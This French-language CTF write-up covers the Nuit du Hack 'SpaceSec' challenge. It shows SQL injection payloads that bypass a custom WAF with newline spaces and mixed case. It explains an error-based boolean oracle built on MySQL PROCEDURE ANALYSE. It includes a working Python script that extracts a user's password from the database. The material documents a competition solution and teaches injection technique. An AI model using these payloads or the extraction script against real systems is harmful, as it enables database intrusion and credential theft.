SpaceSec 300 pts

SpaceSec Challenge

La page est basique, un bon vieux challenge fait avec bootstrap #jaimepaslecss.

On remarque que tous les articles proposés contiennent les mêmes descriptions, seuls les numéros de CVE et les auteurs semblent changer.

En cliquant sur Older Post on obtient une adresse du type:

http://spacesec.quals.nuitduhack.com/index.php?offset=6

Si on change un peu l’offset on obtient:
SpaceSec Challenge User Flag

Oh un utilisateur qui s’appelle Flag…

Soyons fou, tentons la SQL injection directement:

http://spacesec.quals.nuitduhack.com/index.php?offset=6′

SpaceSec Waf

Bon, ca marche pas très bien, voyons voir si l’on peut au moins trigger une erreur SQL:

http://spacesec.quals.nuitduhack.com/index.php?offset=-1

SpaceSec Waf

Yeah, une belle erreur SQL!

En résumé, nous avons:

  • Un utilisateur Flag
  • Un offset modifiable d’une requête SQL
  • Une erreur SQL
  • Un affichage du numéro de l’erreur SQL
  • Un WAF maison
  • Un fichier robots.txt pour nous embrouiller en prime

Après un petit temps de réflexion on en vient à deux remarques:

  • Le WAF se bypass facilement à coups de %0a pour les espaces et de changements de casse (SeLEcT par exemple)
  • On ne peux pas faire d’UNION, la requête contient probablement un order by.

La requête est donc dans le genre:

SELECT * FROM latable ORDER BY rand() LIMIT 3 OFFSET $_GET['offset'];

Quelques recherches sur le web nous permettent de trouver un bypass assez sympathique à coup de procédure SQL.

L’article en question nous parle de l’utilisation de la procédure ANALYSE qui est présente dans mysql de base:

Analyse procèdure

C’est presque trop beau pour être vrai, et… en effet ça l’est!

http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(eXtractValue%0a(0,1),1)–

Error1108

La page ne nous ressort que le numéro de l’erreur…

Alors, que faire pour contourner ce problème?

Eh bien, la réponse est simple, il suffit juste de faire une time-based injection!

Et… ca me fonctionne pas, l’auteur du challenge à décider de bloquer les fonctions sleep et benchmark…

Qu’à cela ne tienne, on passe donc par des heavy query!

On récupère plein de fois information_schema pour faire ramer la page et… information_schema est bloqué aussi ?!

Je décide donc d’aller me coucher sur un échec: A la fois une bonne et une mauvaise idée:
+ J’ai trouvé la réponse dans la nuit
– Je n’ai pas dormis avant de l’avoir trouvé

De retour le lendemain matin après-midi, je décide de tenté ma trouvaille:

Une SQL injection Boolean Based Into Double Error Based (oui, j’ai inventé le nom, mais ça en jette non?).

J’explique, on va tenter de faire passer une condition dans notre extractvalue, si cette condition est vrai on lui fait faire un convert(9990130101,date), la date étant complétement fausse la fonction plante et retourne NULL, sinon, on retourne 1.

Ce qu’il faut savoir, c’est que la procédure ANALYSE n’aime pas avoir un parametre à NULL, elle crash donc un message d’erreur 1108 qui signifie « Message: Incorrect parameters to procedure ‘%s' »

En revanche si on lui envoie 1 en premier parametre en nous renvoie juste une erreur 1105 « Message: Unknown error »

On peut tester avec:

http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)=1) then convert(9990130101,date) else 1 end)))),1)–

J’ai remplacé les %0a par des espaces pour un souci de compréhension.

Error1108

http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)!=1) then convert(9990130101,date) else 1 end)))),1)–

Error1105

A partir de là on peut tout simplement récupérer le mot de passe de l’utilisateur Flag dans la base de données, je vous épargne le temps afin de trouver la bonne table avec les bonnes colonnes en mode total guessing (more fun).

Au final, on trouve une table users avec les colonnes id, username et password.

Ni une, ni deux, on code un petit script qui récupère tout ça.

Ayant une petite dent contre la programmation, je vous présente mon modeste script qui n’est pas optimisé mais qui fait le taf’

#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests,time

cookie = {'PHPSESSID' : 'cl4r4m0rg4ne1sg00dbUt1pr3f3r3L3xiB3ll3'}

passwd=""
char=48

length=len(passwd)+1

while char!=127:
	forge="http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(%0a(selEct%0aexTractvalue%0a(rAnd%0a(),coNcat%0a(0x3a,%0a(case%0awhen%0a(substring(%0a(selEct%0apassword%0afRom%0ausers%0awHere%0ausername%0aliKe%0a0x464c4147),"+str(length)+",1)=char("+str(char)+"))%0athen%0aconvert(9990130101,date)%0aelse%0a1%0aend)))),1)--"
	resultat=requests.get(forge,cookies=cookie).content
	print forge
	time.sleep(0.5)
	if resultat.find('1108')!=-1 :
		passwd+=str(chr(char))
		char=47
		length+=1
		print passwd
	char+=1

print "[+] Le password est: "+str(passwd)

Il ne reste plus qu’a valider avec le mot de passe de l’utilisateur Flag (en minuscule).

Geluchat.

Leave a Comment

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *